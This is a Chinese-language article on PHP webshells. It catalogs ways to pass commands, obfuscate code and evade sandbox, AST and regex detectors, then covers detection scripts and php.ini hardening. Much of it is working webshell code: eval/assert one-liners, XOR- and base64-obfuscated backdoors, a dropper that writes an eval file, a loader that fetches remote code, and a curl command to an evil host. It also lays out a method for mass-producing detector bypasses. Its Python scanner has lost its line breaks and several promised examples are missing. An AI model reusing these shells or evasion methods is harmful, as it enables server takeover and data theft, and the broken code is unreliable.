Webshell是网站入侵的常用后门,利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、SE0挂马等恶意操作,危害极大。

所谓Webshell,主要指可以被例如apache、tomcat、nginx在内的webserver即时解释执行的脚本语言编写而成的文本文件,其本质是一种text文本文件。因其隐秘性、基于脚本、灵活便捷、功能强大等特点,广受黑客们的喜爱,因此Webshell的检测也成为云安全防御的重点,甚至成为网站安全防御的一个标配。

近几年攻防对抗不断升级,防御的挑战越来越大,攻防的战场已经不再是谁见的样本多,而越来越转向方法论层面的对抗,攻击者往往会倾向于找到某种方法论体系,通过体系层面,来对防守方发起挑战。安骑士Webshell检测系统在对抗的过程中,逐步发展出了静态规则+动态规则+词法ast解析+动态模拟执行+机器学习等多种综合手段,目的也是为了尽量提高攻击绕过的门槛和成本,缓解Webshell攻击问题。

一、PHP语言特性

PHP是一种动态弱类型语言,参数传递、类型转换、函数调用方式都非常灵活,这给开发者带来开发便利的同时,也给攻击者编写各种畸形恶意代码带来了很多便利,通过翻阅PHP手册,我们可以查到很多奇技淫巧,例如:

二、PHP可能面临的各种攻击

俗话说,“工欲善其事必先利其器”,作为工程师,体系化认知就是我们最好的“利器”,初期点状的知识积累固然没有太大问题,但是越往后深入,对体系化认知的需求就会越强,它能让你把笔记本读薄。

  • XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户信息。你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入)来防范XSS攻击

  • SQL注入:这是PHP应用中,数据库层的易受攻击点。防范方式同上。常用的方法是,使用mysql_real_escape_string()对参数进行转义,而后进行SQL查询。

  • 文件上传:它可以让访问者在服务器上放置(即上传)文件。这会造成例如,删除服务器文件、数据库,获取用户信息等一系列问题。你可以使用PHP来禁止文件上传,或编写更安全的代码(如检验用户输入,只允许上传png、gif这些图片格式)

  • 包含本地与远程文件:攻击者可以使远程服务器打开文件,运行任何PHP代码,然后上传或删除文件,安装后门。可以通过取消远程文件执行的设置来防范

  • eval/assert:这个函数可以使一段字符串如同PHP代码一样执行。它通常被攻击者用于在服务器上隐藏代码和工具。通过配置PHP,取消eval等函数调用来实现

  • Sea-surt Attack(Cross-site request forgery,CSRF。跨站请求伪造):这种攻击会使终端用户在当前账号下执行非指定行为。这会危害终端用户的数据与操作安全。如果目标终端用户的账号用于管理员权限,整个Web应用都会收到威胁。

三、各种WebShell

1、PHP语言特性WebShell

1. 攻击者传入外部指令参数的方式

a. 从内置全局数组中获取外部参数

$_GET["op"]
$GLOBALS['_POST']['op']
<?php
if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST["cmd"]);system($cmd);echo "</pre>$cmd<pre>";die;
}
?>

这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装。

b. 利用环境变量相关函数获取外部参数

getenv('HTTP_CONNECTION')

c. 将外部参数作为文件/目录信息写入磁盘

d. 将外部参数存入output buffering缓存中

e. 利用PHP原生函数获取外部参数

get_defined_varsgetallheadersphpinfo

f. 利用输入/输出流获取外部参数

g. 利用网络请求从远程IP获取外部参数

file_get_contentsget_meta_tags

h. 利用xml处理函数获取外部参数

simplexml_load_string

i. 利用数据库相关扩展获取外部参数

mysqlmemcacheredis

j. 利用本地变量注册获取外部参数

parse_urlextract

2. 动态生成数值和字符串的方式

a. 动态生成数组键值

① 利用try-catch存储和生成当前数组key

② 利用另一个数组变量存储当前数组key

③ 利用time延时逻辑生成当前数组key

④ 利用random逻辑生成当前数组key

b. 动态生成参数名称

利用运算符技术:自增、异或、取非、取反

c. 动态生成函数名称

①  利用字符串拼接技术

② 利用explode字符串分组技术

3. 对字符串内容进行编码/解码的方式

a. 利用BASE64编码/解码上技术

b. 利用字符串顺序逆转相关技术

c. 利用文本替换相关技术

d. 利用0x16进制编码字符串

4. 向函数传入实参/变量的方式

a.利用array callback相关函数实现参数传递

b.利用define宏定义方式实现参数传递

c.利用自定义加/解密函数进行处理后再进行参数传递

d.利用类方法重载的方式实现隐式参数传递

__toString方法重载

e.利用try-catch方式传递函数名

try { throw new Exception("system"); }

5. 执行指令的方式

a. 利用PHP原生函数执行指令

eval
assert
system
copy
session
str_replace
str_rot13
pack
<?php assert($_POST[sb]);?>
或者
<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['iixosmse']);
?>
<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?> //说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?> //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
<?php if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

b. 通过include方式执行指令

include ROOT_PATH . $_REQUEST['target'];<?php $filename=$_GET['code'];include ($filename); ?> //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

c. 通过array callback execute方式实现代码执行

($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");

d. 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)

$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);

e. 利用序列化/反序列化特性执行指令

f. 利用类构造/析构特性执行指令

g. 利用anonymous (lambda-style) function(匿名函数)执行指令

create_functioneval("function lambda_n() { eval($_GET[1]); }"); lambda_n();$a = function($b) { system($b); }; $a($_GET['c']);

h. 通过注册系统回调执行指令

register_shutdown_functionregister_tick_functionset_error_handler

i. 利用反射技术执行指令

j. 利用PHP ${}特性执行指令

k. 利用系统输出缓存技术执行指令

l. 利用“特性执行系统指令

m. 利用字符串处理回调(string process callback)技术执行指令

mbereg_replace

n. 利用静态类方法执行指令

class foo { static function a(callable $b) { $b($_GET['c']); } } foo::a('system');

6. 动态改变程序执行流支的技术

a. 利用三元运算符

b. 根据某外部传入参数,决定某IF条件的判断结果

c. 利用header实现二次跳转

d. 通过将外部指令写入系统持久化存储后再通过include执行

磁盘文件

临时文件

内存文件

7. 攻击沙箱/词法引擎的相关特殊技术

代码间插入注释

举一个具体的例子:

上面这个样本有以下几个绕过点:

  1. 利用try-catch方式传递函数名
  2. 从内置全局数组中获取外部参数
  3. 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)

建立这种思考框架有几个好处:

  • php语言特性本身是存在不同的维度的,在每个维度内通过翻阅内核源代码,可以进行充分的穷举
  • php的不同trick之间近似于彼此正交的维度,通过对不同维度进行交叉组合,可以高效地写出大量的绕过样本
  • 有利于攻击者实现对防御者的单点突破,只要找到某个具体的绕过点,围绕这个绕过点,在其他维度上进行衍生,往往可以在短时间内创造出大量的绕过,方便在实战中迅速突破

2、模拟执行覆盖度攻击

业内目前针对PHP Webshell,主流的做法是采用【静态/动态AST词法分析】或者【动态沙箱检测】技术,对这类防御手段来说,攻防博弈的战场在于【模拟引擎的完成度】,具体来说例如:

  • php各类版本、生僻语法的支持度
  • 打断污点追踪
  • 父子类数据共享
  • 引用传递
  • 未定义函数调用
  • 利用报错/容错机制
  • 控制流依赖逃逸
  • 宏定义传递
  • 等等….

我们选取几类重点讲解

控制流依赖逃逸

以下面这段代码为例:

可以看到,信息(外部参数)的传递并不是直接通过赋值/函数调用来传递的,而是通过控制流来隐式传递的,如果AST引擎或者沙箱不能正确地处理这种语法,则污点信息在传递过程中就会被丢失,导致最后在sink点无法有效检测。

利用报错/容错机制

引用传递

这个攻击方式是利用ReflectionFunction映射类配合引用参数修改$args的值,如果引擎没有很好地处理引用,则污点传递会被打断。

宏定义传递

利用宏变量,实现了外部参数的传递。

3、上下文环境依赖差分攻击

所谓上下文环境依赖差分攻击,是指攻击样本的运行需要依赖特定的上下文环境,从信息论角度来说,这可以理解为一种额外信息,攻防博弈的战场在于信息的获取。安全里面有一个俗话叫“要尽量在攻击发生的现场进行日志捕获、检测、以及防御”,很多离线检测方案,就是因为离第一攻击现场太远了,导致上下文环境信息丢失严重,造成了很多检测和防御上的困难。

多次运行后才会暴露出真实攻击意图

实际黑客利用时,需要运行多次样本才能触发真正攻击,而沙箱或者AST引擎往往只能运行有限次。即所谓的“黑客知道要怎么运行、用户也知道,就是防御方不知道”,这在实战中也是一个常用的绕过手段。

借助环境变量等第三方存储暂存外部参数

首先通过putenv传递变量,之后获取变量中的path内容,那么只需要传入c=path=phpinfo();即可完成利用。

这种样本在实际攻击中是容易成功的,因为只要是Linux操作系统,webserver进程一般都会有权限进行环境变量的操作。但是对于检测引擎来说,如果没有正确处理环境变量的存储和获取相关操作,污点参数就是传递失败。

4、攻击流量差分攻击

所谓的攻击流量差分攻击,是一种最常见的攻击绕过过段,其实也是一种思考问题的方式,突破防御,绕过的本质就是要寻找防御系统的差分点,对于PHP Webshell来说,外部传参流量就是一个很关键的差分点。

为了更好地说明这个沙箱,笔者这里引入两个概念,【静态可重入样本】以及【动态不可重复多模态样本】。

所谓【静态可重入样本】就是指大部分的传统的PHP Webshell样本,我们称之为“可重入单模态样本”,这类样本尽管可以利用php的大量tricky特性、使用各种编码、加密手段,代码形式可以极尽复杂,例如

–我是分隔符 m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m 结束–

但是,这种样本,究其根本,其本质都是“可重入的、单模态的”,就是说不管运行多少次,谁来运行(受害者 or 旁路离线引擎),其运行结果都是一样的。

从污点追踪理论的角度来说,这一阶段的沙箱,解决的是【显式污点传递问题】,即污点信息流的传递在样本代码中是显式的,只要模拟执行一遍即可100%模拟。

另一方面,对于【动态不可重复多模态样本】来说,这样样本的重点不在于利用了php的哪些tricky语法特性,而在于它的“不可重入性、多模态性”,我们下面用具体例子来解释。

动态依赖的分支跳转问题(根据输入的参数动态决定执行流和执行动作)

对这个样本来说,外部参数就像一个之路的地图,标识了一个“road chain”,只有严格遵守这个“road chain”运行到最后,才可以看到样本的真实攻击意图。而这对业内很多旁路检测引擎来说,都是一个很大的挑战,在指数级的分支中,一旦走错了一个分支,就会被攻击者实现绕过。

基于外部参数动态生成函数名

主要攻击以沙箱和动态AST引擎为代表的旁路离线检测技术,离线检测因为丢失了攻击现场的上下文信息,因此较难模拟实际的攻击行为。

不常见的外部参数传递方式

对于业内常用的【污点追踪检测技术】,各家厂商基本都知道要把PHP常见的HTTP超参数标记为污点,例如GET/POST/COOKIE等。

但实际上,外部参数是一个泛概念,理论上来说,“一切外部可控的输入都是有害的,都需要被跟踪”。外部可控的输入源是一个信道的概念,原则上,只要是符合“外部可控、内容可控”这两个特点的方式,都属于外部可控输入。它们包括但不限于:

  • HTTP输入(GET/POST)参数

    $GLOBALS[‘_GET’]
    $GLOBALS[‘_POST’]
    $GLOBALS[‘_COOKIE’]
    $GLOBALS[‘_FILES’]
    $GLOBALS[‘GLOBALS’][‘_GET’]
    $GLOBALS[‘GLOBALS’][‘_POST’]
    $GLOBALS[‘GLOBALS’][‘_COOKIE’]
    $GLOBALS[‘GLOBALS’][‘_FILES’]
    $_GET
    $_POST
    $_COOKIE
    $_FILES
    $_REQUEST
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的。

  • HTTP Header信息输入

    getallheaders()
  • 网络信道输入:只要对源头api的return zval进行污点标记,随后污点标记会随着api sequence被传递
    file_get_contents()
    socket_create_listen()
    socket_listen()
    curl_init()
  • 通过系统指令包装器执行网络相关指令,从外部网络获取指令信息
    system():system(“curl xxxxx/evil.command”)
    popen()
    exec()
    passthru()
    shell_exec()
    “
  • 通过数据库相关操作获取外部可控参数

举一个具体的例子来说:

外部参数依赖下的条件跳转

5、攻击静态检测规则

攻击静态检测规则就是我们常说的,绕过某某厂商的正则检测黑规则。这类攻击方式业内讨论的文章已经非常多了,笔者在这里不再赘述。

笔者希望在这里阐述一个攻击静态检测规则的方法论,即【利用冗余可约分性进行样本变形】。

观察如下3个表达式,将其视作webshell样本的一个逻辑抽象版本:

((X+6)+Y)+X + (if( (X*Y)>0 ){X}else{X} + X*X) + (X + (Y - (X + if(6>0){1}else{0})) )
# X*Y恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + (X + (Y - (X + if(6>0){1}else{0})) )
# 6恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + X + Y - X + 1
最后约简得到:
X**2 + 3*X + 2*Y + 5

从最终结果,也就是功能上,上面3个表达式是相等的。

如果将最后一个表达式视为一个最精简版的webshell,例如:

<?php eval($_POST[1]);?>

根据冗余可约简规律,实现同样功能的这个代码,可以有无限多种扩展,这是不可枚举的。

例如:

<?php
link(__FILE__, 'ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
link(__FILE__, 'YXNzZXJ0Cg==');
$d = substr(readlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK'), -32);
$e = substr(readlink('YXNzZXJ0Cg=='), -12);
$e = base64_decode($e);
$b = $e[0].'ssert';
$b(base64_decode($d));
unlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
unlink('YXNzZXJ0Cg==');

这2个文件在代码架构上,存在非常大的区别。

这种冗余可约简性,直接导致了样本的反汇编结果、apicall序列结果差别非常大。

6、代码混淆

<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

或者

<?php $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="; $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe"); $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?>

四、PHP WebShell 检测工具

1、如何查找

直观寻找方式也有很多:

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用。

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件):

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本:

#!/usr/bin/env python
# encoding: utf-8import os,sys
import re
import hashlib
import timerulelist = ['(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))','((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))','(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})','(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))','((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))','(\$(\w+)\s*\(\s.chr\(\d+\)\))','(\$(\w+)\s*\$\{(.*)\})','(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))','(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))','(\$\_\=(.*)\$\_)','(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))','(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))','(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))','((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))','(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))','(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))','((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))','(eval\s*\(\s*\(\s*\$\$(\w+))','((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))','(preg\_replace\s*\((.*)\(base64\_decode\(\$)']def scan(path):print('           可疑文件         ')print('*'*30)for root,dirs,files in os.walk(path):for filespath in files:if os.path.getsize(os.path.join(root,filespath))<1024000:file= open(os.path.join(root,filespath))filestr = file.read()file.close()for rule in rulelist:result = re.compile(rule).findall(filestr)if result:print '文件:'+os.path.join(root,filespath )print '恶意代码:'+str(result[0][0:200])print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))print '\n\n'break
def md5sum(md5_file):m = hashlib.md5()fp = open(md5_file)m.update(fp.read())return m.hexdigest()fp.close()if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':passelse:print('*'*40)print "\033[31m sshd被修改,疑似留有后门\033[m"print('*'*40)time.sleep(5)
if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':passelse:print('*'*40)print "\033[31m sshd被修改,疑似留有后门\033[m"print('*'*40)time.sleep(5)
if __name__=='__main__':if len(sys.argv)!=2:print '参数错误'print "\t按恶意代码查找:"+sys.argv[0]+'目录名'if os.path.lexists(sys.argv[1]) == False:print "目录不存在"exit()print ('\n\n开始查找:'+sys.argv[1])if len(sys.argv) ==2:scan(sys.argv[1])else:exit()

2、如何防范

php.ini 设置:

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
  • 设置“safe_mode”为“on”

  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作

  • expose_php设为off 这样php不会在http文件头中泄露信息

  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能

  • log_errors”设为“on” 错误日志开启

php编码方面:

  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)

  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码

  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题

  • 如用开源代码,有补丁出来的话,尽快打上补丁

  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置:

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

...

综上,对于【php一句话webshell】这个概念来说,其包含的集合是一个无限集合,这个问题可能不是一个数据问题(data problem),而是一个机制问题(mechanism problem)。

对于攻击者来说,充分利用这个机制,只要找到了一个绕过样本,就可以进行大量的局部和全局衍生,创造出很多新的绕过样本。

PHP WebSehll 后门脚本与检测工具相关推荐

  1. Linux应急处置/信息搜集/漏洞检测工具---附脚本下载

    Linux应急处置/信息搜集/漏洞检测工具,支持基础配置/网络流量/任务计划/环境变量/用户信息/Services/bash/恶意文件/内核Rootkit/SSH/Webshell/挖矿文件/挖矿进程 ...

  2. rootkit后门检测工具

    1. 关于rootkit rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发 ...

  3. 安全运维之:Linux后门入侵检测工具的使用

    推荐:10年技术力作:<高性能Linux服务器构建实战Ⅱ>全网发行,附试读章节和全书实例源码下载! 一.rootkit简介 rootkit是Linux平台下最常见的一种木马后门工具,它主要 ...

  4. linux后门入侵检测工具RKHUnter和ClamAV的使用

    一.关于rootkit rookit是linux平台下最常见的一种木马后门工具,他主要通过替换系统文件来达到攻击和隐藏的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发现这种 ...

  5. 常用网站木马文件后门检测工具

    我们从网上下载web源码的时候有时会不小心下到带后门的程序,可以使用以下介绍的几款Webshell查杀工具来检测一下,软件查后门需多方对比,有能力请手动验证.资源来源于loc. 一.D盾_Web查杀 ...

  6. ASP WebShell 后门脚本与免杀

    随着时间的推移和其它新型动态网页技术的兴起,使用ASP(Active Server Page)技术构建的Web应用越来越少.ASP的衰落.旧资料和链接的失效.前辈们早期对ASP较多的研究,都导致了新型 ...

  7. 10款常见的Webshell检测工具

    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞. 本文推荐了10款Webshll检测工具,用于网站入侵排查.当然,目前市场 ...

  8. 常见的webshell检测工具

    1.D盾_Web查杀 使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为. 兼容性:只提供Windows版本. 工具下载地址:http://www.d99net.net/d ...

  9. 介绍linux上两种rootkits检测工具: Rootkit Hunter和Chkrootkit

    原贴:http://blog.csdn.net/linkboy2004/archive/2007/03/22/1537890.aspx 介绍linux上两种rootkits检测工具: Rootkit ...

  10. Metasploit Framework-安全漏洞检测工具使用

    一款开源的安全漏洞检测工具,简称MSF.可以收集信息.探测系统漏洞.执行漏洞利用测试等,为渗透测试.攻击编码和漏洞研究提供了一个可靠平台. 集成数千个漏洞利用.辅助测试模块,并保持持续更新. 由著名黑 ...

最新文章

  1. Oracle数据库游标在存储过程中的使用
  2. Altium Designer原理图元件和PCB元件互相定位
  3. 函数式编程语言python-函数式编程初探
  4. AI:2020年6月21日北京智源大会演讲分享之20:00-21:00邱锡鹏教授《如何学习深度学习》
  5. 从0开始搭建一个战棋游戏的AI(初级教程)
  6. html5无意义标签,无意义的div和span标签
  7. java依赖和约束有啥区别_Java – Maven依赖关系太多了
  8. 一、线性回归和逻辑回归
  9. 【云周刊】第205期:阿里云重磅开源实时计算平台Blink,挑战计算领域的“珠峰”...
  10. Think in Java第四版 读书笔记6第12章 异常处理
  11. Android Camera open运行流程
  12. android 主界面 布局,Android用户界面与View/ViewGroup
  13. C#编写上位机驱动运动控制板卡
  14. 显示器点距 测试软件,大既是正义!最佳文本显示点距~AOC LV323HQPX显示器开箱
  15. 计算机内存不足图片,电脑无法显示图片说内存不足
  16. 《深度易经·deepin-bible》草稿汇
  17. MacDonalds 翻译成“麦当劳”为什么好?英语翻译技巧E
  18. 第三届传智杯初赛A组G题 - 森林
  19. 仿新浪微博返回顶部的js实现(jQuery/MooTools)
  20. 比起结果过程更加重要

热门文章

  1. Symmetric Matrices
  2. 树莓派智能小车资料整理
  3. 鸿蒙申请入口联系人邮箱格式不对,为什么appid输入邮箱地址不对
  4. win2003的密钥
  5. 用Excel或WPS做两独立样本的T检验
  6. Matlab中如何定义和使用colormap?|colormap的使用
  7. TB交易开拓者入门教程
  8. html,css,js 实现树形菜单栏
  9. 讯飞语音报错:未经授权的语音应用.(错误码:11210)
  10. 学专业计算机的配置,大学学计算机专业的学生电脑普遍配置是什么呢?